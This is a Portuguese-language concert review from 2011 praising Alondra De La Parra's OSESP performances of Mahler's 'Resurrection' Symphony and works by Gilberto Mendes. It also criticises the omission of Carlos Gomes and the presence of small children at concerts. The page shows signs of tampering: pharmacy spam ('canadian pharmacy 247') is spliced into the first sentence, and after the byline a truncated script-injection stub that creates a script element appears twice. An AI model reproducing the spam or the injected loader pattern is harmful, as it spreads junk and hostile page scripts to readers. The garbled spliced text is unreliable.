Escrito por em 4 dez 2011 nas áreas Crítica

canadian pharmacy 247 OSESP brilha nas mãos de Alondra De La Parra através da Ressurreição, de Mahler, e de obras de Gilberto Mendes.

A maestrina, naturalizada mexicana, deixou patente, uma vez mais, as suas qualidades de diretora de orquestra, frente à OSESP ao interpretar a Sinfonia n. 2, em dó menor (Ressurreição) composta entre 1888-1894, como é conhecida agora. Aliás, foi esta a obra que convenceu o maestro Bruno Walter de que encontrara uma vocação ao reger a música de Mahler, sobre o qual o efeito desta obra foi irresistível.

A segunda Sinfonia de Mahler, concluída em 25 de julho de 1894 é, assim, um drama de morte e transfiguração. Dez trompas, oito trompetes, farta secção de percussão incluindo os sinos (carrilhão); duas harpas, quinteto de cordas em profusão, madeiras e demais metais, órgão e banda interna de metais integram a grandiosa orquestração mahleriana nesta sinfonia que tem seus dois primeiros movimentos – o primeiro classificado pelo próprio compositor como “rito fúnebre” é o allegro maestoso; os dois subsequentes, o andante moderato é de rítmo ternário quase “vienense”, seguido pelo scherzo (em movimento fluente e calmo).

A regência de Alondra de La Parra constituiu-se em um grande êxito perante a OSESP, impecável em sua atuação em três récitas realizadas em 24, 25 e 26 de novembro na Sala São Paulo, com a participação do soprano carioca Ludmilla Bauerfeldt e do contralto inglês Jennifer Johnston, esta última em excelente atuação vocal na canção “Urlicht”. A entrada do contralto, com as palavras “O roschen rot” que serve de ponto central para a transfiguração do esquema sinfõnico com luz e profundidade, foi  inesquecível e bela do ponto de vista interpretativo.

Os vivos contrastes dinâmicos e as flutuações de tempos em desdobramentos orquestrais agônicos que se seguem são muito difíceis de reger, suscetíveis a infinitas variedades de interpretações. E aí De La Parra saiu-se de forma muito correta e elegante em fraseados de dinâmica irrepreensíveis.

O som de um grande coro sussurrando “Auferstehen” aqui interpretado pelo coro OSESP e Coral Lírico de Minas Gerais em suas sequências finais,  formou o momento mais imponente das récitas, atingindo um grande clímax entre vozes e orquestra, provocando uma calorosa ovação do público que lotava o espaço.
Gilberto Mendes: no sábado, 3 de dezembro, em concerto matinal, às onze horas, também na Sala São Paulo, com entrada franca, a chefe de orquestra Alondra De La Parra, afluiu às composições do brasileiro Gilberto Mendes.

Aproveitando a ocasião, o diretor artístico da orquestra, subiu ao palco para enaltecer a programação das últimas temporadas da OSESP,  com relação à atenção, divulgação e perpetuação  dos compositores brasileiros. Segundo ele, foram contemplados Villa-Lobos com a integral apresentação e gravação de suas sinfonias a serem concluídas em 2012 sob a competentíssima batuta de Isaac Karabtchevsky: Edu Lobo, Pixinguinha, José Afonso, já comtemplados, e outros virão a ser em 2012, como Armando Albuquerque, Almeida Prado, Chico Buarque de Holanda, Paulo Bellinati, Jorge de Almeida, Pe. José Maurício Nunes Garcia, Camargo Guarnieri e Francisco Mignone.

Aqui o protesto ao vilipêndio,  à aviltação e ao desprezo a Antônio Carlos Gomes, aquele que honrou o Brasil no exterior em âmbito internacional desde 1870, quando lançou a sua genialidade de composição com “Il Guarany” no Teatro alla Scala de Milão, fato este que repercutiu nos demais continentes. Não nos basta ouvir as clarinadas de sua “Alvorada”, como chamada ao público ao prenunciamento das funções da OSESP. Nenhuma abertura de ópera sequer, deste insígne compositor brasileiro tão respeitado por antecessores da OSESP (Eleazar de Carvalho, John Neschiling), bem como os saudosos maestros Armando Belardi e Edoardo de Guarnieri, consta na programação da anunciada temporada de 2012. Lástima profunda.

Da execução das obras de Mendes, com a presença do compositor no camarote de autoridades, ouvimos a abertura Issa, em belos momentos sonoros de composição inspirada em  rica instrumentação, o mesmo valendo para o Rastro harmônico cuja composição empregada pelo autor é das mais sutis e cheias de inspiração nostálgica.

As composições vocais que integraram o programa: Motet em ré menor Bela Coca-Cola e Alegres Trópicos: Um baile na Mata Atlântica . Do coro da OSESP podemos afirmar que, além de precisão rítmo-musical,  é afinadíssimo, todavia, de sua dicção e articulação, não se entende uma só palavra.

A acrescentar: como se tratava de um concerto gratuito, não nos foi oferecido em momento algum o programa impresso (a pagar ou gratuitamente), limitando-se o seu assédio aqueles que vão à busca incessante; como se não bastassem aquelas crianças menores de cinco (5) anos balbuciando, quando não retiradas por seus responsáveis, já prestes a gritarem, por estarem ali não entendendo nada, presos e amordoçoados.

Gostaria de lançar aqui uma pergunta: qual a função de uma criança menor de de 6 (seis anos) num concerto sinfônico ou na apresentação de um espetáculo lírico? A educação musical deve iniciar-se em domicílio, ouvindo-se muita música erudita! Bem depois, levá-las às salas de concerto em programas educativos.

Escrito por Marco Antônio Seta em 04 de dezembro de 2011.var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);

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